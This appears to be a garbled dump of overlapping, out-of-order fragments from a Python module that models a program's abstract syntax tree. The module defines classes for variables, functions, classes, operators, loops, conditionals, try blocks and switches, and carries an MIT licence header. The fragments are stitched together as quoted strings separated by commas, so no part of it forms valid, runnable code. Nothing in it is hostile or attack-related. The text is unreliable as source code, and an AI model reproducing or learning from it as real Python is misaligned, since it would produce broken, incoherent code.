isinstance(body,", "body for this control flow structure.\"\"\" assert isinstance(body, CodeStatement) if", "this object.\"\"\" return str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This class represents a", "result (str): The type of the variable in the program.", "no children. This class inherits from CodeLiteral just for consistency", "name of the variable in the program. result (str): The", "to the called function. If a call references a class", "CodeBlock) self.body = body def _add_catch(self, catch_block): \"\"\"Add a catch", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return str(self.variables)", "result (str): The return type of the function in the", "`id`, a list of members (variables, functions), a list of", "for codeobj in self.children: yield codeobj def _afterpass(self): \"\"\"Call the", "{}'.format(self.result, self.name) class SomeValue(CodeExpression): \"\"\"This class represents an unknown value", "may also have a default branch. Switches are often one", "variable declaration and block) to this try block structure. \"\"\"", "handle specific types of exceptions. Some languages also allow a", "spaces = ' ' * indent return spaces + ',", "' ' * indent if self.value is not None: return", "out of range') def statement_after(self, i): \"\"\"Return the statement after", "SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING", "paren (bool): Whether the reference is enclosed in parentheses. \"\"\"", "The name of the operator in the program. result (str):", "def __init__(self, scope, parent, paren=False): \"\"\"Constructor for null literals. Args:", "pretty_str(something, indent=0): \"\"\"Return a human-readable string representation of an object.", "#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell", "representation of this object.\"\"\" if self.is_unary: return '[{}] {}({})'.format(self.result, self.name,", "recursive=False): \"\"\"Retrieves all descendants (including self) that are instances of", "class represents a default argument. Some languages, such as C++,", "\"\"\" def __init__(self, scope, parent, id, name, result, definition=True): \"\"\"Constructor", "= '{}switch ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2) return", ">= o - n: return self.else_body.statement(i) return self.body.statement(i - o", "to convert. Kwargs: indent (int): The amount of spaces to", "an empty iterator is returned. \"\"\" return iter(()) class CodeCompositeLiteral(CodeLiteral):", "to the corresponding class. \"\"\" def __init__(self, scope, parent, id,", "tree starting from this object, going down.\"\"\" yield self for", "self.body def _set_increment(self, statement): \"\"\"Set the increment statement for this", "CodeGlobalScope(CodeEntity): \"\"\"This class represents the global scope of a program.", "its arguments and a reference to the called function. If", "of this object.\"\"\" for codeobj in self.body: yield codeobj def", "ast_str(self, indent=0): \"\"\"Return a minimal string to print a tree-like", "\"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for control flow", "\"\"\"Set declarations local to this loop (e.g. `for` variables).\"\"\" assert", "and to permit persons to whom the Software is #furnished", "method of some class, its `member_of` should be set to", "have its `member_of` set to the corresponding class. \"\"\" def", "object.\"\"\" for codeobj in self.members: yield codeobj def _afterpass(self): \"\"\"Assign", "a list of children objects (variables, functions or classes). \"\"\"", "self.members ) else: pretty += spaces + ' [declaration]' return", "self.parameters: yield codeobj for codeobj in self.body._children(): yield codeobj def", "() self.method_of = None self.reference = None @property def is_constructor(self):", "name (str): The name of the variable in the program.", "self.parameters)) return '[{}] {}({})'.format(self.result, self.name, params) class CodeClass(CodeEntity): \"\"\"This class", "paren @property def function(self): \"\"\"The function where this expression occurs.\"\"\"", "so this implementation might be lackluster. \"\"\" def __init__(self, scope,", "tree. name (str): The name of the loop statement in", "CodeLiteral.__init__(self, scope, parent, None, 'null', paren) def _children(self): \"\"\"Yield all", "= self.body.pretty_str(indent=indent + 2) pretty = '{}catch ({}):\\n{}'.format(spaces, decls, body)", "(e.g. functions, code blocks). It is not meant to be", "self.else_body = body else: self.else_body._add(body) def __len__(self): \"\"\"Return the length", "or a `catch` block, when an exception is raised and", "indent pretty = spaces + 'try:\\n' pretty += self.body.pretty_str(indent=indent +", "a list of references. If a class is defined within", "of all other objects. It is also the only object", "to be instantiated directly, only used for inheritance purposes. It", "not explicitly provided by the programmer. This class represents such", "= [] self.body = CodeBlock(self, self, explicit=True) self.member_of = None", "to be inherited from, and not instantiated directly. An expression", "'.join(map(str, self.arguments)) if self.is_constructor: return '[{}] new {}({})'.format(self.result, self.name, args)", "self codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "for expressions. Args: scope (CodeEntity): The program scope where this", "assignment operator.\"\"\" return self.name == \"=\" def _add(self, codeobj): \"\"\"Add", "of this object.\"\"\" if self.value is not None: return '{}", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return '[unknown]'", "program tree. \"\"\" CodeEntity.__init__(self, scope, parent) self._si = -1 @property", "self.else_body = CodeBlock(scope, self, explicit=False) @property def then_branch(self): \"\"\"The branch", "utility methods for objects that group multiple program statements together", "@property def is_assignment(self): \"\"\"Whether this is an assignment operator.\"\"\" return", "= () self.method_of = None self.reference = None @property def", "field/attribute of an object, `field_of` should be set to that", "----- Expression Entities --------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base class for expressions", "pretty = '{}for ({}; {}; {}):\\n'.format(spaces, v, condition, i) pretty", "represents a program variable. A variable typically has a name,", "None else self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent + 2) pretty =", "but also returns a value when contained within a larger", "parameters. \"\"\" return (isinstance(self.scope, CodeStatement) or (isinstance(self.scope, CodeFunction) and self", "= result self.parameters = [] self.body = CodeBlock(self, self, explicit=True)", "USE OR OTHER DEALINGS IN #THE SOFTWARE. ############################################################################### # Language", "This class is meant to be inherited from, and not", "', '.join(self.superclasses) pretty += '(' + superclasses + ')' pretty", "name = ('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of else self.name) return pretty.format(spaces,", "this function is a class constructor.\"\"\" return self.member_of is not", "or a function, given that the variable is not one", "as well as an increment statement. A loop has only", "constructor.\"\"\" return self.result == self.name def _add(self, codeobj): \"\"\"Add a", "to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.value = codeobj def", "spaces to use as indentation. \"\"\" return '{}{} {} =", "representation of this object.\"\"\" return '[{}] {{{}}}'.format(self.result, ', '.join(map(repr, self.value)))", "instances of a given class. Args: cls (class): The class", "of the operator in the program. result (str): The return", "argument has only a return type. \"\"\" def __init__(self, scope,", "programming languages, so this implementation might be lackluster. \"\"\" def", "string or boolean, as bare Python literals are used for", "scope objects.\"\"\" CodeEntity.__init__(self, None, None) self.children = [] def _add(self,", "in the program tree. id: An unique identifier for this", "o + len(self.else_body) if i >= 0 and i <", "a string representation of this object.\"\"\" return '[{}] {}'.format(self.result, self.name)", "else_branch(self): \"\"\"The default branch of the conditional.\"\"\" return True, self.else_body", "+ self.name + ')' return (' ' * indent) +", "{}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This class represents a program namespace. A", "also has an unique `id` that identifies it in the", "for diverse primitive types.\"\"\" def __init__(self, result): \"\"\"Constructor for unknown", "yield self.condition for codeobj in self.body._children(): yield codeobj for codeobj", "the function or code block they belong to) and a", "declaration and block) to this try block structure. \"\"\" assert", "It is also the only object that does not have", "self.else_body.statement(i - o) elif i < 0 and i >=", "is only a wrapper. Many programming languages allow expressions to", "operator in the program. Kwargs: args (tuple): Initial tuple of", "*i*-th one, or `None`.\"\"\" try: return self.statement(i + 1) except", "statements, while being considered a statement themselves. Some languages allow", "have a default branch (the `else` branch), besides its mandatory", "return isinstance(self.scope, CodeClass) def _add(self, codeobj): \"\"\"Add a child (value)", "None, None, result, result) def _children(self): \"\"\"Yield all the children", "+= self.else_body.pretty_str(indent=indent + 2) return pretty class CodeLoop(CodeControlFlow): \"\"\"This class", "this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,)", "present in many programming languages are list literals, often constructed", "= '{}{}({}):\\n'.format(spaces, self.name, params) else: pretty = '{}{} {}({}):\\n'.format(spaces, self.result,", "object. Kwargs: indent (int): The amount of spaces to use", "name, result, paren) self.field_of = None self.reference = None def", "(`result`) and a value (or `None` for variables without a", "SomeValue.BOOL = SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base class for literal types", "main body of the catch block.\"\"\" assert isinstance(body, CodeBlock) self.body", "rather than simple. An example present in many programming languages", "of an object, `member_of` should contain a reference to such", "define diverse types of statements (e.g. return statements, control flow,", "2) return pretty class CodeSwitch(CodeControlFlow): \"\"\"This class represents a switch", "(int): The amount of spaces to use as indentation. \"\"\"", "function call typically has a name (of the called function),", "pretty += self.else_body.pretty_str(indent=indent + 2) return pretty class CodeLoop(CodeControlFlow): \"\"\"This", "result) def _children(self): \"\"\"Yield all the children of this object,", "\"\"\"Whether this is a definition or a declaration of the", "belong to) and a parent object that should have some", "def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of this", "string to print a tree-like structure. Kwargs: indent (int): The", "of the function in a function call) and a type", "o = len(self.body) n = o + len(self.else_body) if i", "= statement statement.scope = self.body def _children(self): \"\"\"Yield all direct", "= None def _add(self, codeobj): \"\"\"Add a child (value) to", "of this object.\"\"\" for value in self.value: if isinstance(value, CodeEntity):", "a list of all declared variables. \"\"\" def __init__(self, scope,", "paren=False): \"\"\"Constructor for references. Args: scope (CodeEntity): The program scope", "The name of the expression in the program. result (str):", "def __str__(self): \"\"\"Return a string representation of this object.\"\"\" return", "ARISING FROM, #OUT OF OR IN CONNECTION WITH THE SOFTWARE", "statement(self, i): \"\"\"Return the *i*-th statement from the object's `body`.\"\"\"", "0: pretty += '\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent + 2) return", "tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, 'if') self.else_body = CodeBlock(scope, self,", "defined to handle specific types of exceptions. Some languages also", "if self.is_unary: operator = self.name + pretty_str(self.arguments[0]) else: operator =", "object.\"\"\" if isinstance(self.value, CodeExpression): yield self.value def pretty_str(self, indent=0): \"\"\"Return", "a function is a method of some class, its `member_of`", "def __init__(self, scope, parent, name): \"\"\"Constructor for control flow structures.", "enclosed in parentheses. \"\"\" CodeLiteral.__init__(self, scope, parent, None, 'null', paren)", "global scope objects.\"\"\" CodeEntity.__init__(self, None, None) self.children = [] def", "indent, pretty_str(self.value)) return pretty_str(self.value, indent=indent) def __repr__(self): \"\"\"Return a string", "pretty += '(' + superclasses + ')' pretty += ':\\n'", "'.join(map(pretty_str, self.arguments)) if self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif", "= None def _add_branch(self, value, statement): \"\"\"Add a branch/case (value", "statements. In many languages, statements must be contained within a", "in parentheses. \"\"\" try: value = list(value) except TypeError as", "booleans. Some languages also support ternary operators. Do note that", "class represents a try-catch block statement. `try` blocks have a", "this special kind of statement for declaring variables within a", "that assignments are often considered expressions, and, as such, assignment", "class. Args: cls (class): The class to use as a", "considered a statement themselves. Some languages allow blocks to be", "variable in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id =", "branch. Switches are often one of the most complex constructs", "self.members: if not codeobj.is_definition: if not codeobj._definition is None: codeobj._definition.member_of", "of child members and call their `_afterpass()`. This should only", "a type (`result`). Also, an expression should indicate whether it", "condition = pretty_str(self.condition) v = self.declarations.pretty_str() if self.declarations else ''", "is explicit in languages such as C++, but less explicit", "The global scope is the root object of a program.", "len(self.body) n = o + len(self.else_body) if i >= 0", "if self.increment: yield self.increment for codeobj in self.body._children(): yield codeobj", "if self.parenthesis else '{}{}' if self.is_unary: operator = self.name +", "\"\"\"Base class for all programming entities. All code objects have", "\"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for loops. Args:", "= CodeBlock(self, self, explicit=True) self.member_of = None self.references = []", "programming languages allow expressions to be statements on their own.", "' * indent) + self.name def __repr__(self): \"\"\"Return a string", "local to this catch block.\"\"\" assert isinstance(declarations, CodeStatement) self.declarations =", "n def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "operator typically has a name (its token), a return type,", "a list with the conditional branch and the default branch.\"\"\"", "return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This class represents a jump statement", "in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id = id", "whether this object is a valid construct.\"\"\" return True def", "recursively down the tree. \"\"\" source = self.walk_preorder if recursive", "as indentation. \"\"\" return pretty_str(self.expression, indent=indent) def __repr__(self): \"\"\"Return a", "spaces to use as indentation. \"\"\" indent = ' '", "(the `else` branch), besides its mandatory one. \"\"\" def __init__(self,", "is a field/attribute of an object, `field_of` should be set", "indentation. \"\"\" if self.body: return '\\n'.join(stmt.pretty_str(indent) for stmt in self.body)", "function, variable, class) to this object.\"\"\" assert isinstance(codeobj, (CodeNamespace, CodeClass,", "consistency with the class hierarchy. It should have no children,", "provided by the programmer. This class represents such omitted arguments.", "= pretty_str(self.condition) pretty = '{}if ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent", "def _add(self, codeobj): \"\"\"Add a child (statement) to this object.\"\"\"", "' * indent) + '[empty]' def __repr__(self): \"\"\"Return a string", "SOFTWARE OR THE USE OR OTHER DEALINGS IN #THE SOFTWARE.", "a string representation of this object.\"\"\" args = ', '.join(map(str,", "this object.\"\"\" for codeobj in self.parameters: yield codeobj for codeobj", "self.id = id self.name = name self.result = result self.value", "= None self.references = [] self.writes = [] @property def", "return (' ' * indent) + self.name def __repr__(self): \"\"\"Return", "\"\"\" CodeControlFlow.__init__(self, scope, parent, name) self.declarations = None self.increment =", "in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.arguments", "The name of the statement in the program. \"\"\" CodeStatement.__init__(self,", "In general, a variable is *global* if it is declared", "class or object.\"\"\" return isinstance(self.scope, CodeClass) def _add(self, codeobj): \"\"\"Add", "_add(self, codeobj): \"\"\"Add a child (statement) to this object.\"\"\" assert", "is fully built. \"\"\" for codeobj in self.children: codeobj._afterpass() def", "`reference` should be set. If the reference is a field/attribute", "+ len(self.else_body) if i >= 0 and i < n:", "loops to define local declarations, as well as an increment", "a transitive parent object that is an instance of a", "+ 2) return pretty class CodeLoop(CodeControlFlow): \"\"\"This class represents a", "string representation of this object.\"\"\" return 'try {} {} {}'.format(self.body,", "('...' if self.declarations is None else self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent", "class SomeValue(CodeExpression): \"\"\"This class represents an unknown value for diverse", "whom the Software is #furnished to do so, subject to", "codeobj): \"\"\"Add a child (namespace, function, variable, class) to this", "variable in the program. result (str): The type of the", "the catch block.\"\"\" assert isinstance(body, CodeBlock) self.body = body def", "contain a reference to such object, instead of `None`. \"\"\"", "program statements. Programming languages often define diverse types of statements", "the length of both branches combined.\"\"\" return len(self.body) + len(self.else_body)", "some contexts, e.g. an `if` statement omitting curly braces in", "references a class method, its `method_of` should be set to", "statements, control flow, etc.). This class provides common functionality for", "Kwargs: explicit (bool): Whether the block is explicit in the", "CodeExpression) self.method_of = codeobj def _children(self): \"\"\"Yield all direct children", "instantiated directly. An expression typically has a name (e.g. the", "#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES", "expressions within a program. Expressions can be of many types,", "object.\"\"\" if isinstance(self.value, CodeEntity): yield self.value def pretty_str(self, indent=0): \"\"\"Return", "+ self.name if self.superclasses: superclasses = ', '.join(self.superclasses) pretty +=", "= i + 1 o = len(self.body) n = o", "@property def values(self): return tuple(self.value) def _add_value(self, child): \"\"\"Add a", "declaration.\"\"\" return self._definition is self @property def is_constructor(self): \"\"\"Whether this", "statement. \"\"\" CodeStatement.__init__(self, scope, parent) self.expression = expression def _children(self):", "and handled). \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for try", "this object.\"\"\" return '{} {}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This class", "a variable). A reference typically has a name (of what", "the Software. #THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY", "None, None) self.children = [] def _add(self, codeobj): \"\"\"Add a", "type of the argument in the program. \"\"\" CodeExpression.__init__(self, scope,", "reference to the called function. If a call references a", "default branch.\"\"\" if self.else_branch: return [self.then_branch, self.else_branch] return [self.then_branch] def", "It should have no children, thus an empty iterator is", "self.__repr__() def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "for child in self._children(): for descendant in child.walk_preorder(): yield descendant", "have an associated value (e.g. `return 0`). \"\"\" def __init__(self,", "in a function call) and a type (`result`). Also, an", "a reference expression (e.g. to a variable). A reference typically", "try block structures. Args: scope (CodeEntity): The program scope where", "CodeEntity): yield self.value def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "is fully built. \"\"\" for codeobj in self.members: if not", "objects have a file name, a line number, a column", "1 @property def is_binary(self): \"\"\"Whether this is a binary operator.\"\"\"", "_children(self): \"\"\"Yield all the children of this object, that is", "In general, a variable is *local* if its containing scope", "length of the statement group.\"\"\" return len(self.body) # ----- Common", "is enclosed in parentheses. \"\"\" def __init__(self, scope, parent, result,", "class CodeOperator(CodeExpression): \"\"\"This class represents an operator expression (e.g. `a", "arguments. A default argument has only a return type. \"\"\"", "self.condition if self.increment: yield self.increment for codeobj in self.body._children(): yield", "the *i*-th statement of this block. Behaves as if the", "Software is #furnished to do so, subject to the following", "'{} {}'.format(self.name, str(self.value)) return self.name class CodeExpressionStatement(CodeStatement): \"\"\"This class represents", "are used for those. A literal has a value (e.g.", "tuple of its arguments. \"\"\" _UNARY_TOKENS = (\"+\", \"-\") _BINARY_TOKENS", "print a tree-like structure. Kwargs: indent (int): The number of", "is not numeric, string or boolean, as bare Python literals", "get_branches(self): \"\"\"Return a list of branches, where each branch is", "scope, parent) self.name = name self.condition = True self.body =", "where this expression occurs.\"\"\" return self._lookup_parent(CodeFunction) @property def statement(self): \"\"\"The", "an empty iterator. return iter(()) def _lookup_parent(self, cls): \"\"\"Lookup a", "parent, name, result, paren=False): \"\"\"Constructor for function calls. Args: scope", "occurs.\"\"\" return self._lookup_parent(CodeFunction) @property def statement(self): \"\"\"The statement where this", "have, at least, one branch (a boolean condition and a", "CodeExpression): yield self.condition if self.increment: yield self.increment for codeobj in", "if k < 0: if k < o - n", "Also, an expression should indicate whether it is enclosed in", "scope, parent, result): \"\"\"Constructor for default arguments. Args: scope (CodeEntity):", "\"\"\"The branch associated with a condition.\"\"\" return self.condition, self.body @property", "blocks may be defined to handle specific types of exceptions.", "def __init__(self, scope, parent, id, name, result, definition=True): \"\"\"Constructor for", "definition=True): \"\"\"Constructor for functions. Args: scope (CodeEntity): The program scope", "'[{}] ({}).{}'.format(self.result, self.field_of, self.name) return '[{}] #{}'.format(self.result, self.name) class CodeOperator(CodeExpression):", "o) elif i < 0 and i >= -n: if", "block (exception variable declaration and block) to this try block", "that identifies it in the program and a list of", "a child (statement) to this object.\"\"\" assert isinstance(codeobj, CodeStatement) codeobj._si", "result (str): The return type of the operator in the", "\"\"\"Return the length of all blocks combined.\"\"\" n = len(self.body)", "parent): \"\"\"Constructor for switches. Args: scope (CodeEntity): The program scope", "name (of the called function), a return type, a tuple", "A variable typically has a name, a type (`result`) and", "CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT OF OR IN", "type of the literal in the program. Kwargs: paren (bool):", "explicit def statement(self, i): \"\"\"Return the *i*-th statement of this", "{} = ({})'.format(self.result, self.name, self.value) class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class", "to avoid creating a new list and # returning a", "this object.\"\"\" return '[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES = (int, long,", "IndexError as e: return None def __getitem__(self, i): \"\"\"Return the", "self.name class CodeExpressionStatement(CodeStatement): \"\"\"This class represents an expression statement. It", "return pretty class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a try-catch", "self.children: yield codeobj def _afterpass(self): \"\"\"Call the `_afterpass()` of child", "is a pair of condition and respective body.\"\"\" return [(self.condition,", "* indent pretty = '{}namespace {}:\\n'.format(spaces, self.name) pretty += '\\n\\n'.join(c.pretty_str(indent", "program tree. name (str): The name of the reference in", "and self in self.scope.parameters) @property def is_member(self): \"\"\"Whether this is", "iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents a composite literal. A", "identifier for this variable. name (str): The name of the", "' * indent values = '{{{}}}'.format(', '.join(map(pretty_str, self.value))) if self.parenthesis:", "\"\"\" CodeStatement.__init__(self, scope, parent) self.body = CodeBlock(scope, self, explicit=True) self.catches", "for loops. Args: scope (CodeEntity): The program scope where this", "CodeLoop(CodeControlFlow): \"\"\"This class represents a loop (e.g. `while`, `for`). Some", "string representation of this object.\"\"\" return str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup):", "scope, parent, paren=False): \"\"\"Constructor for null literals. Args: scope (CodeEntity):", "if isinstance(self.expression, CodeExpression): yield self.expression def pretty_str(self, indent=0): \"\"\"Return a", "flow, etc.). This class provides common functionality for such statements.", "__init__(self, scope, parent): \"\"\"Base constructor for code objects. Args: scope", "= ', '.join(map(str, self.parameters)) return '[{}] {}({})'.format(self.result, self.name, params) class", "to a variable). A reference typically has a name (of", "_set_body(self, body): \"\"\"Set the main body of the catch block.\"\"\"", "= '{}({})' if self.parenthesis else '{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(), self.name)", "a conditional (`if`). A conditional is allowed to have a", "program tree. value (iterable): The initial value sequence in this", "local variable. In general, a variable is *local* if its", "represents a program namespace. A namespace is a concept that", "as such, assignment operators are included here. An operator typically", "function typically has a name, a return type (`result`), a", "the closest thing should be a module. In Java, it", "(bool): Whether the block is explicit in the code. \"\"\"", "it (`values`), a type (`result`), and it should indicate whether", "software and associated documentation files (the \"Software\"), to deal #in", "WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT", "the Software is #furnished to do so, subject to the", "\"\"\"This class represents an unknown value for diverse primitive types.\"\"\"", "name and a list of children objects (variables, functions or", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" if self.value", "definition=True): \"\"\"Constructor for classes. Args: scope (CodeEntity): The program scope", "model assumes that control flow branches and functions always have", "OTHER #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR", "this expression occurs.\"\"\" return self._lookup_parent(CodeFunction) @property def statement(self): \"\"\"The statement", "value def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base class", "or booleans. Some languages also support ternary operators. Do note", "this loop (e.g. in a `for`).\"\"\" assert isinstance(statement, CodeStatement) self.increment", "a block as their body. \"\"\" def __init__(self, scope, parent,", "self.explicit = explicit def statement(self, i): \"\"\"Return the *i*-th statement", "id, name, result): \"\"\"Constructor for variables. Args: scope (CodeEntity): The", "increment statement for this loop (e.g. in a `for`).\"\"\" assert", "not have a `scope` or `parent`. \"\"\" def __init__(self): \"\"\"Constructor", "a main body of statements, just like regular blocks. Multiple", "branches were concatenated, for indexing purposes. \"\"\" # ----- This", "self.condition for codeobj in self.body._children(): yield codeobj def __repr__(self): \"\"\"Return", "parent) self.name = name self.value = None def _add(self, codeobj):", "the condition is met). Specific implementations may consider more branches,", "= None def _set_declarations(self, declarations): \"\"\"Set declarations local to this", "parent in the program tree. name (str): The name of", "list of all declared variables. \"\"\" def __init__(self, scope, parent):", "representation of this object.\"\"\" return 'try {} {} {}'.format(self.body, self.catches,", "all descendants (including self) that are instances of a given", "Expressions can be of many types, including literal values, operators,", "value is an instance of `CodeEntity` and `repr` otherwise. Args:", "catch_block in self.catches: for codeobj in catch_block._children(): yield codeobj for", "isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.else_body = body else: self.else_body._add(body)", "default branch (the `else` branch), besides its mandatory one. \"\"\"", "return True, self.else_body def statement(self, i): \"\"\"Return the *i*-th statement", "return pretty class CodeLoop(CodeControlFlow): \"\"\"This class represents a loop (e.g.", "(namespace, function, variable, class) to this object.\"\"\" assert isinstance(codeobj, (CodeNamespace,", "constructed as `[1, 2, 3]`. A composite literal has a", "should be set. If the reference is a field/attribute of", "TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE", "class CodeNamespace(CodeEntity): \"\"\"This class represents a program namespace. A namespace", "scope, parent, name, result, paren) self.arguments = args or ()", "program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id = id self.name =", "in the program tree. result (str): The return type of", "codeobj in self.body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a", "Many programming languages allow expressions to be statements on their", "structures (e.g. `for` loops). Control flow statements are assumed to", "scope, parent, name, result, paren) self.field_of = None self.reference =", "self.finally_body = body def _children(self): \"\"\"Yield all direct children of", "unique identifier for this function. name (str): The name of", "\"\"\"Set declarations local to this catch block.\"\"\" assert isinstance(declarations, CodeStatement)", "BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER", "indentation levels. \"\"\" line = self.line or 0 col =", "return (' ' * indent) + '(' + self.name +", "value. It may also have a default branch. Switches are", "class. name (str): The name of the class in the", "\"\"\"Return a string representation of this object.\"\"\" return 'catch ({})", "+ pretty_str(self.arguments[0]) else: operator = '{} {} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1]))", "CodeExpressionStatement(CodeStatement): \"\"\"This class represents an expression statement. It is only", "a return type. If the referenced entity is known, `reference`", "In many languages, statements must be contained within a function.", "if self.field_of: return '[{}] ({}).{}'.format(self.result, self.field_of, self.name) return '[{}] #{}'.format(self.result,", "CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents a composite literal. A composite literal", "and `parent` of all other objects. It is also the", "parent) self.name = name self.children = [] def _add(self, codeobj):", "__str__(self): \"\"\"Return a string representation of this object.\"\"\" return '#'", "args) if self.method_of: return '[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name, args) return", "return '[{}] {{{}}}'.format(self.result, ', '.join(map(repr, self.value))) class CodeReference(CodeExpression): \"\"\"This class", "{}({}):\\n'.format(spaces, self.result, self.name, params) if self._definition is not self: pretty", "should indicate whether it is enclosed in parentheses. \"\"\" def", "A switch evaluates a value (its `condition`) and then declares", "o + len(self.else_body) if k > 0: if k <", "indent = ' ' * indent if self.value is not", "is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result,", "or collection holding this object. \"\"\" def __init__(self, scope, parent):", "for variables without a value or when the value is", "'\\n\\n'.join(c.pretty_str(indent + 2) for c in self.children) return pretty def", "params) if self._definition is not self: pretty += spaces +", "scope, parent) self.body = CodeBlock(scope, self, explicit=True) self.catches = []", "parent, name, result, args=None, paren=False): \"\"\"Constructor for operators. Args: scope", "direct children of this object.\"\"\" for codeobj in self.body: yield", "control flow statement in the program. \"\"\" CodeStatement.__init__(self, scope, parent)", "def _set_increment(self, statement): \"\"\"Set the increment statement for this loop", "TORT OR OTHERWISE, ARISING FROM, #OUT OF OR IN CONNECTION", "children of this object.\"\"\" # The default implementation has no", "in the program and a list of references to it.", "paren (bool): Whether the null literal is enclosed in parentheses.", "self.column = None def walk_preorder(self): \"\"\"Iterates the program tree starting", "The name of the reference in the program. result (str):", "following conditions: #The above copyright notice and this permission notice", "it may be the same as a class, or non-existent.", "used for inheritance purposes. It defines the length of a", "def is_ternary(self): \"\"\"Whether this is a ternary operator.\"\"\" return len(self.arguments)", "\"\"\" try: value = list(value) except TypeError as te: raise", "pretty += spaces + ' [declaration]' return pretty def __repr__(self):", "parent in the program tree. result (str): The return type", "None self.reference = None def _set_field(self, codeobj): \"\"\"Set the object", "which can be a statement on its own, but also", "+ len(self.else_body) if k > 0: if k < o:", "parent, \"switch\") self.cases = [] self.default_case = None def _add_branch(self,", "= name self.condition = True self.body = CodeBlock(scope, self, explicit=False)", "is_assignment(self): \"\"\"Whether this is an assignment operator.\"\"\" return self.name ==", "string representation of this object.\"\"\" if self.value is not None:", "provides common functionality for such statements. In many languages, statements", "as indentation. \"\"\" return '{}{} {} = {}'.format(' ' *", "list literals, often constructed as `[1, 2, 3]`. A composite", "{{{}}}'.format(self.result, ', '.join(map(repr, self.value))) class CodeReference(CodeExpression): \"\"\"This class represents a", "is enclosed in parentheses. \"\"\" CodeEntity.__init__(self, scope, parent) self.name =", "fully built. \"\"\" if hasattr(self, '_fi'): return fi = 0", "list of superclasses, and a list of references. If a", "of parameters and a body (a code block). It also", "parent, '(default)', result) # ----- Statement Entities ---------------------------------------------------- class CodeStatement(CodeEntity):", "no condition is met). A control flow statement typically has", "name (str): The name of the loop statement in the", "len(self.finally_body) > 0: pretty += '\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent +", "scope self.parent = parent self.file = None self.line = None", "{}({})'.format(self.result, self.name, args) class CodeDefaultArgument(CodeExpression): \"\"\"This class represents a default", "(bool): Whether to descend recursively down the tree. \"\"\" source", "function. name (str): The name of the function in the", "(argument) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments", "of child objects. This should only be called after the", "if isinstance(self.value, CodeEntity): yield self.value def pretty_str(self, indent=0): \"\"\"Return a", "(str): The name of the reference in the program. result", "children of this object, that is no children.\"\"\" return iter(())", "explicit=False) def get_branches(self): \"\"\"Return a list of branches, where each", "({}).{}'.format(self.result, self.field_of, self.name) return '[{}] #{}'.format(self.result, self.name) class CodeOperator(CodeExpression): \"\"\"This", "block statement. `try` blocks have a main body of statements,", "`else` branch).\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.else_body =", "\"\"\"Check whether this object is a valid construct.\"\"\" return True", "if self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif self.is_constructor: call", "a value (or `None` for variables without a value or", "tree. result (str): The return type of the argument in", "for codeobj in self.finally_body._children(): yield codeobj def __len__(self): \"\"\"Return the", "branch/case (value and statement) to this switch.\"\"\" self.cases.append((value, statement)) def", "self.body._children(): yield codeobj for catch_block in self.catches: for codeobj in", "> 0: pretty += 